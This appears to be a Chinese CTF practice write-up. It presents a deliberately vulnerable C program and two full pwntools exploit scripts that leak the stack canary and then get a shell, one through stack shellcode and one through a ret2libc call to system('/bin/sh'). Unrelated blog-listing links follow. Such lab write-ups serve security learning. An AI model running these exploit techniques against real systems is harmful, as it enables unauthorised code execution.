源码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> void setbufs()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
setvbuf(stderr, 0, 1, 0);
} int main()
{
char tips[]="suuuuuuuper easy test.";
char buf[32];
int len;
setbufs();
puts(tips);
read(0, buf, 4);
len = atoi(buf);
read(0, buf, len);
printf("%p:", &buf);
puts(buf);
read(0, buf, 0x100);
return 0;
}
进行编译

gcc -g -no-pie -z execstack -fstack-protector-all exercise.c -o exercise

无pie,无stack,有canary。

分析程序流程

首先读取输入长度的4个字符,把4个字符转换为整形数字作为下一次读取输入的长度,获取输入之后,打印出输入的地址,和输入的值,最后再一次获取输入的值,赋值给buf。

从栈上写shellcode来getshell

思路:首先由canary保护,又由于有输出输入的值,必然会造成canary的泄露。其次又输出了地址,即告诉了地址的值,便可以知道栈的位置,即shellcode写入的地址便可以知道,起初shellcode写在BUF地址处,行不通,调试发现,canary异或时的数值不对,于是知道了shellcode的字节数大于40,于是便将shellcode写入返回地址的下方

exp如下

#!/usr/bin/env python

from pwn import *
#io=remote("192.168.91.139",10001)
io=process('./exercise') io.recv() io.send('1111') io.sendline('A'*40)
io.recv(2) shellcode_address=int(io.recv(12),16) shellcode_address+=64 log.info(hex(shellcode_address)) io.recvuntil('A'*40) Canary=u64(io.recv(8))-0xa log.info(hex(Canary))
shellcode = asm(shellcraft.amd64.sh(),arch='amd64') payload=40*'A'+p64(Canary)+'A'*8+p64(shellcode_address)+shellcode
io.sendline(payload)
io.interactive()

使用rop来getshell

思路:

payload=40*'A'+p64(canary)+'A'*8+p64(puts_plt)+p64(main)+p64(libc_start_main_got)#0x4005F0是puts的PLT的地址

起初模仿wiki上的32位ELF进行rop发现vpcmpeqb ymm1, ymm0, ymmword ptr [rdi]指令出现问题。

查阅资料发现在64位环境下,函数的调用所需要的参数是优先通过寄存器来进行的。寄存器的顺序如下:rdi,rsi,rdx,rcx,r8,r9。当一个函数有大于6个整形参数,则超出的部分会通过栈来传递,这个情况少见。

搞了很久搞不出来,之后问了下室友,顺便看了一下别人的wp

使用ldd -d <文件名>获取libc库名称和路径。利用cp -p <libc库>到桌面,静态加载libc库。泄露canary之后再泄露PUTS的GOT表地址之后,获取system地址和'/bin/sh'的字符串地址,之后再一次劫持

EXP如下

#/usr/bin/env python
from pwn import *
p = process('./exercise')
libc = ELF('./libc64.so')
elf = ELF('./exercise') p.recvuntil('test.')
p.sendline('100')
p.send('a'*41)
p.recv()
recv = p.recv()
canary = '\x00' + recv[56:63]
print 'canary='+ canary pop_rdi_ret_addr = 0x0000000000400913
main_addr = 0x4007BF payload1 = 'a'*40 + canary + 'a'*8 + p64(pop_rdi_ret_addr) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main_addr) p.sendline(payload1) puts_addr=u64(p.recv(8)[0:6].ljust(8,'\x00'))
print 'puts_addr='+ hex(puts_addr) libc_base = puts_addr - libc.symbols['puts']
system_addr=libc_base + libc.symbols['system']
sh_addr = libc_base + libc.search('/bin/sh').next() p.recvline()
p.sendline('100')
p.send('a'*41)
p.recvline()
payload2 = 'a'*40 + canary + 'a'*8 +p64(pop_rdi_ret_addr) + p64(sh_addr) +p64(system_addr) + p64(0xdeadbeef)
p.sendline(payload2)
p.interactive()

pwn第一周的更多相关文章

  1. 第一周 总结笔记 / 斯坦福-Machine Learning-Andrew Ng

    课程主页:https://www.coursera.org/learn/machine-learning/home/welcome 收集再多的资料也没用,关键是要自己理解总结,做笔记就是一个归纳总结的 ...

  2. Surprise团队第一周项目总结

    Surprise团队第一周项目总结 团队项目 基本内容 五子棋(Gobang)的开发与应用 利用Android Studio设计一款五子棋游戏,并丰富其内涵 预期目标 实现人人模式:2个用户可以在同一 ...

  3. 20145213《Java程序设计》第一周学习总结

    20145213<Java程序设计>第一周学习总结 教材学习内容总结 期待了一个寒假,终于见识到了神秘的娄老师和他的Java课.虽说算不上金风玉露一相逢,没有胜却人间无数也是情理之中,但娄 ...

  4. 20145206邹京儒《Java程序设计》第一周学习总结

    20145206 <Java程序设计>第1周学习总结 教材学习内容总结 1.三大平台:Java SE.Java EE与Java ME.Java SE是各应用平台的基础,分为四个主要的部分: ...

  5. 20145304 刘钦令 Java程序设计第一周学习总结

    20145304<Java程序设计>第1周学习总结 教材学习内容总结 1995年5月23日,是公认的Java的诞生日,Java正式由Oak改名为Java. Java的三大平台是:Java ...

  6. 20145330孙文馨 《Java程序设计》第一周学习总结

    20145330孙文馨 <Java程序设计>第一周学习总结 教材学习内容总结 刚开始拿到这么厚一本书说没有压力是不可能的,开始从头看觉得很陌生进入不了状态,就稍微会有一点焦虑的感觉.于是就 ...

  7. 20145337《JAVA程序设计》第一周学习总结

    # 20145337 <Java程序设计>第1周学习总结 ## 教材学习内容总结 第一章 -Java最早是Sun公司撰写Star7应用程序的程序语言 -根据应用领域不同,有Java SE. ...

  8. Linux内核设计第一周 ——从汇编语言出发理解计算机工作原理

    Linux内核设计第一周 ——从汇编语言出发理解计算机工作原理 作者:宋宸宁(20135315) 一.实验过程 图1 编写songchenning5315.c文件 图2 将c文件汇编成32位机器语言 ...

  9. 20135328信息安全系统设计基础第一周学习总结(Linux应用)

    学习计时:共xxx小时 读书: 代码: 作业: 博客: 一.学习目标 1. 能够独立安装Linux操作系统   2. 能够熟练使用Linux系统的基本命令   3. 熟练使用Linux中用户管理命令/ ...

随机推荐

  1. Python之让 字符串内的转义字符 不做任何处理

    一.在字符串前面加上 'r' 就可以了 print("\ntext_1") print(r"\ntest_2") 二.在转义字符的 '\' 前面再加一个 '\' ...

  2. flask框架(三)——路由系统route转换成add_url_rule及源码分析

    这节我们不用@app.route来写路由,而是通过add_url_rule 传统写法  (<int:nid>传递int类型参数,endpoint是取别名) @app.route('/det ...

  3. Linux -- file 命令

    1.file命令含义 file命令用于接受一个文件作为参数并执行某些测试,以确定正确的文件类型 2.file命令参数以及实例 (1)file命令查看文件类型 $ file /etc/irbrc /et ...

  4. 测试不得不知的python编程小技能-----升级版基础语法和优秀的编码习惯

    编程和学习python,最后快速上手.能写小工具,写自动化用例这类要求对鹅厂的测试人员来说都是一些基础的必备素质,但是一个优秀的测试,也是有着一颗开发完美测试工具的心的.但是罗马不是一天构建成,特别是 ...

  5. REDISTEMPLATE如何注入到VALUEOPERATIONS

    REDISTEMPLATE如何注入到VALUEOPERATIONS 今天看到Spring操作redis  是可以将redisTemplate注入到ValueOperations,避免了ValueOpe ...

  6. Java身份证处理工具

    身份证处理工具 /** * <html> * <body> * <P> Copyright 1994 JsonInternational</p> * & ...

  7. sql group by hour 按小时分组统计

    Time字段以小时分组统计 select datepart(hour,time) hour,count(1) count from table where Similarity<75 group ...

  8. Mac 磁盘分区格式

    Mac 磁盘分区格式 来源 https://www.chadou.me/p/190 参考文章 macOS磁盘工具帮助 在Mac系统中抹掉(格式化)磁盘的时候,要求选择分区方案,包括GUID分区图.主引 ...

  9. ubuntu18.04使用vscode报pylint is not install错误

    1.安装pip:sudo apt-get install pip,如果使用python3则需要安装pip3:sudo apt-get install python3-pip 2.使用pip安装pyli ...

  10. elementUI——主题定制

    需求: 设计三套主题色+部分图标更换: 实现方式汇总: 1.传统做法,生成多套css主题包,切换link引入路径切换href实现,参考网站:http://jui.org/: <link id=& ...